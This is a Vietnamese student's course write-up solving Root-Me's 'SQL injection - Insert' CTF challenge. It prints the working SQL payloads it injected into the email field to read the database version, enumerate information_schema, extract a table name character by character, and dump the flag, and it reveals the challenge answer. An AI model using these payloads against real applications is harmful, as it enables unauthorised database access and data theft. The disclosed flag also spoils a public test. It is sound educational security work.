

BÀI TẬP CTF

Bảo mật web và ứng dụng – NT213.M21.ANTN

Giảng viên hướng dẫn: *Đỗ Hoàng Hiển*

Sinh viên thực hiện: *19520199 – Lê Tôn Nhân*

Challenge 8: SQL injection - Insert (level medium)

Link challenge: <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Insert>

- Bài này yêu cầu ta lấy flag

SQL injection - Insert

40 Points 🏆

Request Insert: fun & profit

Author

sambecks, 23 February 2015

Level ②



Statement

Retrieve the flag.

- Truy cập vào thử thách

- Ta thấy có 2 tab là Authentication và Register
- Thử đăng ký 1 tài khoản

Authentication | Register

Register

You can logged in ! [Authentication.](#)

- Sau đó ta sang tab Authentication và tiến hành login với tài khoản vừa đăng ký

Authentication | Register

Login

Username : 19520199

Email : 19520199@gm.uit.edu.vn

- Ta thấy username và email tương ứng của chúng ta xuất hiện sau khi bấm gửi
- Tìm hiểu về SQL Injection Insert thì ta biết được chúng ta sẽ cần truyền thêm 1 cặp giá trị vào data khi data được gửi lên server và nó sẽ lưu vào database
- Trường email là trường dễ bị tấn công, ta tiến hành đăng ký 1 tài khoản mới sao cho trong trường email ta nhập **1'), ('d2', '2', (select Version())) ; -- -**.

Authentication | Register

Login

Username : d2

Email : 10.3.34-MariaDB-0ubuntu0.20.04.1

- Sau đó ta tiến hành đăng nhập với tài khoản d2 có password là 2 ta vừa tạo thì ta tìm thấy được version của database và server
- Dựa vào tên của database thì ta tìm được cú pháp truy vấp schema của nó.
- Tiếp theo ta tìm tên các table bằng việc nhập vào trường email như sau **1'), ('d9', '9', (select group_concat(table_name) from information_schema.tables)) ; -- -**

Authentication | Register

Login

Username
Password

Gửi

Username : d9
Email : ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CHECK_

- Vì chương trình đã giới hạn số lượng được xuất ra, do đó ta sẽ phải tìm cách để xuất từng dòng table_name của schema này.
- Tiếp tục khai thác để tìm được số lượng các table

a'), ('a6', '1', (select group_concat(table_name) from information_schema.tables)) ;
-- -

Authentication | Register

Login

Username
Password

Submit

Username : a6
Email : 80

- Có thể thấy có tất cả 80 table.
- Có thể đoán là các table phía trên sẽ là mặc định, còn nếu thêm mới thì nó sẽ được add vào sau. Chúng ta sẽ kiểm tra các table phía gần cuối bằng cách nhập vào trường email như sau

1'), ('a29', '1', (select char(ascii(table_name)) from information_schema.tables limit 79, 1)) ; -- -

Authentication | Register

Login

Username
Password

Gửi

Username : a29
Email : f

- Kết quả chỉ hiện một chữ cái là f với table thứ 79. Có thể đây là chữ f trong chữ flag nên ta sẽ tiếp tục kiểm tra table này.
- Tiếp tục khai thác như sau

1'), ('a31', '1', (select char(ascii(replace(table_name, 'f', ''))) from information_schema.tables limit 79, 1)); -- -

Authentication | Register

Login

Username

Password

Username : a31

Email : l

- Ta có với `ascii("abc")` thì sẽ trả về 97. `ascii("bc")` sẽ trả về 98, vậy chúng ta sẽ tìm tay từng kí tự trong tên của table bằng replace. Ta có `replace("abc","a","")` sẽ trả về "bc".
 - Như vậy chúng ta sẽ tìm từng chữ cái của table_name bằng cách replace dần dần.
- 1'), ('a34', '1', (select char(ascii(replace(table_name, 'flag', ''))) from information_schema.tables limit 79, 1)); -- -**

Authentication | Register

Login

Username

Password

Username : a34

Email :

- Sau khi replace tới được flag thì kí tự tiếp theo đã trống, như vậy table_name là flag. Tiếp theo ta đi tìm column_name
- 1'), ('a11', '1', (select group_concat(column_name) from information_schema.columns where table_name='flag')); -- -**

Authentication | Register

Login

Username

Password

Username : a11

Email : flag

- Tương tự tìm table_name, tuy nhiên may mắn hơn là chỉ có 1 table nên không bị vượt quá kích thước output. Như vậy chúng ta đã tìm được table_name và column_name.
 - Cuối cùng tìm flag, ta thực hiện truy vấn để tìm flag trong table và columns tìm được
- 1'), ('a12', '1', (select flag from flag)); -- -**

[Authentication](#) | [Register](#)

Login

Username : a12

Email : flag is : moaZ63rVXUhlQ8tVS7Hw

- Ta tìm được flag là moaZ63rVXUhlQ8tVS7Hw, submit nó và ta thành công vượt qua thử thách

SQL injection - Insert

40 Points 

Request Insert: fun & profit

Author

sambecks, 23 February 2015

Level 



Validations

2118 Challengers 

Statement

Retrieve the flag.

[Start the challenge](#)

1 related ressource(s)

-  [SQL injection in insert, update and delete statements \(Exploitation\)](#)

Validation

Well done but you've already won the 40 Points

Don't forget to give your opinion on the challenge by voting :-)

FLAG: moaZ63rVXUhlQ8tVS7Hw